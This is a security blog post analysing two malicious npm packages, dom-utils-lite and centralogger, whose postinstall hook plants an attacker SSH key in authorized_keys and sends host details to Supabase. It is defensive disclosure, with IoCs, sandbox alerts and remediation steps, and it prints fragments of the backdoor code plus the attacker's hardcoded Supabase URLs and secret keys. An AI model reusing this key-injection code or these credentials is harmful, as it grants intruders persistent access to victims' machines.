Malicious dom-utils-lite npm SSH Backdoor via Supabase

3 min read

Table of Contents

TL;DR

npm account user0001 <[email protected]> published two malicious packages, dom-utils-lite and centralogger, with identical payloads. On npm install, a postinstall hook fetches the attacker’s SSH public key from a Supabase storage bucket, appends it to ~/.ssh/authorized_keys, harvests the victim’s IP, username, and hostname, then uploads that metadata to the same Supabase project. A scheduler re-runs the chain every 60 seconds.

Impact:

  • Writes the attacker’s SSH public key into ~/.ssh/authorized_keys
  • Exfiltrates server IP, username, and hostname to attacker-controlled Supabase storage
  • Re-runs every 60 seconds with exponential-backoff retry, re-injecting the key if you remove it
  • Empty catch blocks swallow all errors

Indicators of Compromise (IoC):

IndicatorValue
Package[email protected]
Package[email protected] (also 1.0.5 through 1.0.8)
Maintaineruser0001 <[email protected]>
C2 (dom-utils-lite)hxxps://xienztiavkygvacpqzgr[.]supabase[.]co
C2 (centralogger)hxxps://ndfcioahsbgsjmulpjgt[.]supabase[.]co
Supabase bucketproject_bucket
SSH key pathpublic_keys/main.pem.pub
Exfil pathlogs/{ip}_{hostname}.txt
Postinstallnode setup.js
SHA-256 (dom-utils-lite)4600db4fc30fb6ffa68deed4a25679e674bb3a3e8dae31f3dfc83bea0d757a8f
SHA-256 (centralogger)2e131f47090516e5a60553aa40d46823e08162390c1d6deb075cf317f00309f7
BackdoorAttacker’s SSH key appended to ~/.ssh/authorized_keys

Analysis

Two Packages, One Payload

PackageVersion(s)PublishedSupabase C2 project
centralogger1.0.5 through 1.0.9April 1, 2026 (5 versions in ~7 hours)ndfcioahsbgsjmulpjgt
dom-utils-lite1.0.0April 14, 2026xienztiavkygvacpqzgr

centralogger came first. Five versions in one day suggest the attacker was debugging the postinstall trigger. By dom-utils-lite, a single publish was enough.

Diffing the extracted tarballs shows only two files differ:

diff centralogger/package.json dom-utils-lite/package.json
< "name": "centralogger",
< "version": "1.0.9",
< "description": "A simple logger for application",
---
> "name": "dom-utils-lite",
> "version": "1.0.0",
> "description": "",
diff centralogger/supabaseClient.js dom-utils-lite/supabaseClient.js
< let SUPABASE_URL = "https://ndfcioahsbgsjmulpjgt.supabase.co"
< let SUPABASE_KEY = "sb_secret_79Y9vlaAbBRPtAcXRpfHfg_j_gl9ZG8"
---
> let SUPABASE_URL = "https://xienztiavkygvacpqzgr.supabase.co"
> let SUPABASE_KEY = "sb_secret_LbQZ91nwyeW9YXOJCm2UUQ_EzRsXhBH"

All other files match byte-for-byte. The attacker swapped credentials per wave so that taking down one Supabase project leaves the other operational.

Payload

postinstall runs setup.js, which chains four operations:

setup.js
async function setup() {
try {
const publicKey = await getPublicKey(); // fetch SSH key from Supabase
await injectKey(publicKey); // write to ~/.ssh/authorized_keys
const server = getServerDetails(); // collect IP, username, hostname
await uploadMetadata(server); // exfiltrate to Supabase
} catch (err) {}
}
setup();

index.js repeats this chain every 60 seconds with exponential-backoff retry.

injectKey.js creates ~/.ssh/ if missing, then appends the attacker’s key tagged ssh-key-auto-sync:

injectKey.js
const taggedKey = `${publicKey} ssh-key-auto-sync`;
fs.appendFileSync(authFile, '\n' + taggedKey + '\n');

supabaseClient.js holds hardcoded credentials. The SSH public key lives at project_bucket/public_keys/main.pem.pub, fetched at runtime so the attacker can rotate keys without republishing.

uploadMeta.js writes victim IP, username, hostname, and timestamp to logs/{ip}_{hostname}.txt with upsert: true. Because the 60-second scheduler overwrites this file on every tick, the attacker maintains a live roster: which machines are compromised, and when each last checked in.

Attack Flow

npm install dom-utils-lite
└─ postinstall: node setup.js
├─ fetchKey.js → Downloads SSH public key from Supabase bucket
├─ injectKey.js → Appends key to ~/.ssh/authorized_keys
├─ utils.js → Collects IP, username, hostname
└─ uploadMeta.js → Uploads server metadata to Supabase bucket
└─ index.js (if executed via npm start)
└─ Same chain on 60-second interval with retry

Dynamic Analysis

Our eBPF-based dynamic analysis sandbox captured three rule triggers during npm install of [email protected]:

dom-utils-lite-blog-DA-findings.csv
created_atanalysis_idruleoutput
1April 14, 2026, 7:54 AM01KP5EQZMSVFSTX5CXH0VDD173Adding ssh keys to authorized_keys2026-04-14T07:54:48.652975141+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA>
2April 14, 2026, 7:54 AM01KP5EQZMSVFSTX5CXH0VDD173Read ssh information2026-04-14T07:54:48.652856311+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh/authorized_keys pcmdline=sh -c node setup.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA>
3April 14, 2026, 7:54 AM01KP5EQZMSVFSTX5CXH0VDD173Adding ssh keys to authorized_keys2026-04-14T07:54:48.652811211+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA>
3 rows
| 4 columns

Two “Adding ssh keys to authorized_keys” warnings and one “Read ssh information” error fired at 07:54:48 UTC, all from process chain sh -c node setup.js running as root. The two openat calls on /root/.ssh/authorized_keys match injectKey.js reading existing keys then appending the attacker’s key.

Conclusion

If you installed either package:

  1. Check ~/.ssh/authorized_keys for entries tagged ssh-key-auto-sync and remove them
  2. Audit ~/.ssh/authorized_keys for any unrecognized keys
  3. Kill any lingering node processes running index.js from these packages
  4. Review CI/CD pipelines where either package may have been installed

Any npm package from the user0001 account should be treated as malicious. The [email protected] email, bucket name project_bucket, and path public_keys/main.pem.pub are useful pivot points for hunting additional packages in this campaign.

References

  • vet
  • malware
  • npm
  • supply-chain
  • ssh-backdoor

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Polymarket npm Packages Steal Crypto Wallet Keys

Polymarket npm Packages Steal Crypto Wallet Keys

Nine coordinated npm packages target Polymarket traders with a social-engineered postinstall prompt that exfiltrates raw private keys to a Cloudflare Worker. The attacker published all packages...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.